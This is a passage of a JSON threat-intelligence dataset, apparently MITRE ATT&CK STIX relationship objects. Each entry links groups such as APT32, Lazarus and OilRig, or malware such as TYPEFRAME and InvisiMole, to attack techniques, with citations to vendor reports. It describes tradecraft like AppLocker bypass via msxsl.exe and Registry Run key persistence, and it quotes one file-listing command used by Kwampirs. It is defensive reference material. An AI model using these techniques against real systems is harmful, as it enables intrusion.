"malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.", + "source_name": "Emissary Trojan Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8c13ef6b-5274-4de0-9fad-531b9c87309e", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "modified": "2019-07-26T23:38:34.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has sent spearphishing emails with a malicious executable disguised as a document or spreadsheet.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3a8d8063-3f4d-420d-8c72-2b99077aa487", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.468Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "A [TYPEFRAME](https://attack.mitre.org/software/S0263) variant can use port 127 for communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4ad5ed17-dc83-400f-a847-5f14407ce794", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to disable routing and the Firewall on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--15489699-7ea0-473f-a4cd-5bc9e05e2104", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Hi-Zor](https://attack.mitre.org/software/S0087) creates a Registry Run key to establish persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4f08676f-51c1-4cb5-94a7-08922e4886c6", + "source_ref": "malware--5967cc93-57c9-404a-8ffd-097edfa7bdfc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Fidelis Cybersecurity. (2015, December 16). Fidelis Threat Advisory #1020: Dissecting the Malware Involved in the INOCNATION Campaign. Retrieved March 24, 2016.", + "source_name": "Fidelis INOCNATION", + "url": "https://www.fidelissecurity.com/sites/default/files/FTA_1020_Fidelis_Inocnation_FINAL_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.057Z", + "id": "relationship--d924c061-9ee2-45c2-9ea4-491a2d3f50a5", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.686Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Clandestine Wolf", + "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform supports many standard protocols, including HTTP, HTTPS, and SMB.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2fe9c7cf-44aa-495b-bde6-80cbfc4fbed9", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[Uroburos](https://attack.mitre.org/software/S0022) is a rootkit used by [Turla](https://attack.mitre.org/groups/G0010).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--eb74fa31-121d-4e43-9794-048a901f509a", + "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "source_name": "Kaspersky Turla", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has sent spearphising emails with malicious links to potential victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8272bde7-817f-4cb4-b073-67859002d310", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used PubPrn.vbs within execution scripts to execute malware, possibly bypassing defenses.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--36f3f6df-5007-4075-84a3-9708132f1468", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.426Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N. (2017, December 22). ItsReallyNick Status Update. Retrieved April 9, 2018.", + "source_name": "Twitter ItsReallyNick Status Update APT32 PubPrn", + "url": "https://twitter.com/ItsReallyNick/status/944321013084573697" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[SynAck](https://attack.mitre.org/software/S0242) can manipulate Registry keys.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--109b2118-d714-41bb-a39d-b1fd1b755b55", + "source_ref": "malware--04227b24-7817-4de1-9050-b7b1b57f5866", + "modified": "2019-07-26T23:00:57.230Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureList SynAck Doppelg\u00e4nging May 2018", + "description": "Ivanov, A. et al.. (2018, May 7). SynAck targeted ransomware uses the Doppelg\u00e4nging technique. Retrieved May 22, 2018.", + "url": "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has connected to C2 servers through proxies.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6fb86c58-666c-4a5f-bdd1-417a77761e6f", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.093Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Socksbot](https://attack.mitre.org/software/S0273) can take screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bec2b0d9-b76e-4acb-a9a4-adebe4c854c0", + "source_ref": "malware--e494ad79-37ee-4cd0-866b-299c521d8b94", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) variants can add malicious DLL modules as new services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b9ed3f57-0331-431a-96ff-b536c966aa6d", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[Bankshot](https://attack.mitre.org/software/S0239) generates a false TLS handshake using a public certificate to disguise C2 network communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--945a3286-2197-4984-8838-837afcd7925c", + "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.", + "source_name": "US-CERT Bankshot Dec 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) can encrypt C2 traffic with AES.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e376d1ed-a35a-47c1-98c6-4d37f52b1b84", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "source_name": "Palo Alto menuPass Feb 2017", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + }, + { + "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.", + "source_name": "JPCERT ChChes Feb 2017", + "url": "http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[S-Type](https://attack.mitre.org/software/S0085) runs the command net start on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--abee00d3-8417-468b-84a4-40c7d0ac4f7d", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "To establish persistence, [Truvasys](https://attack.mitre.org/software/S0178) adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--84bc4ba8-ab0e-4c60-92ed-26496a831611", + "source_ref": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.", + "source_name": "Microsoft Win Defender Truvasys Sep 2017", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can access data from local files, volumes, and processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--31334bcb-0207-41c8-b04a-96c7d6d1a466", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.199Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[TINYTYPHON](https://attack.mitre.org/software/S0131) has used XOR with 0x90 to obfuscate its configuration file.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4afcb9c9-e490-446b-97b1-1c151974242f", + "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3", + "description": "[Axiom](https://attack.mitre.org/groups/G0001) actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.031Z", + "id": "relationship--b9f4c6ef-d0bd-4651-9445-4705e1fd85f2", + "source_ref": "intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973", + "modified": "2019-03-22T19:55:13.723Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392", + "description": "[Winexe](https://attack.mitre.org/software/S0191) installs a service on the remote system, executes the command, then uninstalls the service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--5765c7d1-884f-4d6d-a938-4a92c86a9e21", + "source_ref": "tool--96fd6cc4-a693-4118-83ec-619e5352d07d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Prakash, T. (2017, June 21). Run commands on Windows system remotely using Winexe. Retrieved January 22, 2018.", + "source_name": "Secpod Winexe June 2017", + "url": "http://www.secpod.com/blog/winexe/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) collects address book information from Outlook.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--98abda72-4760-4e8c-ab6c-5ed080868cfc", + "source_ref": "malware--083bb47b-02c8-4423-81a2-f9ef58572974", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "source_name": "Symantec Dragonfly", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has attempted to get users to launch a malicious Microsoft Word attachment delivered via a spearphishing email.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--83bfee39-b6c9-48e6-8114-54b0c623a91f", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Bankshot", + "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of files and directories in C:\\ with the command dir /s /a c:\\ >> \"C:\\windows\\TEMP\\[RANDOM].tmp\".", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4e07996d-c9d9-49a8-9800-94daf69cd3b3", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload files from a compromised host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--95415ffd-265d-448f-bb39-73c7721d5c42", + "source_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", + "modified": "2019-10-07T18:49:09.837Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.", + "source_name": "Microsoft BITSAdmin", + "url": "https://msdn.microsoft.com/library/aa362813.aspx" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) uses WMI to perform discovery techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5422e9a8-4fbe-40c0-8348-53faa9a7d2d3", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.513Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) uses scheduled tasks typically named \"Watchmon Service\" for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e32b53b5-b112-483a-8d95-56bf3f43671f", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of capturing keystrokes on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ab7faed6-3c50-4b04-a31b-ac2c933a51ef", + "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + 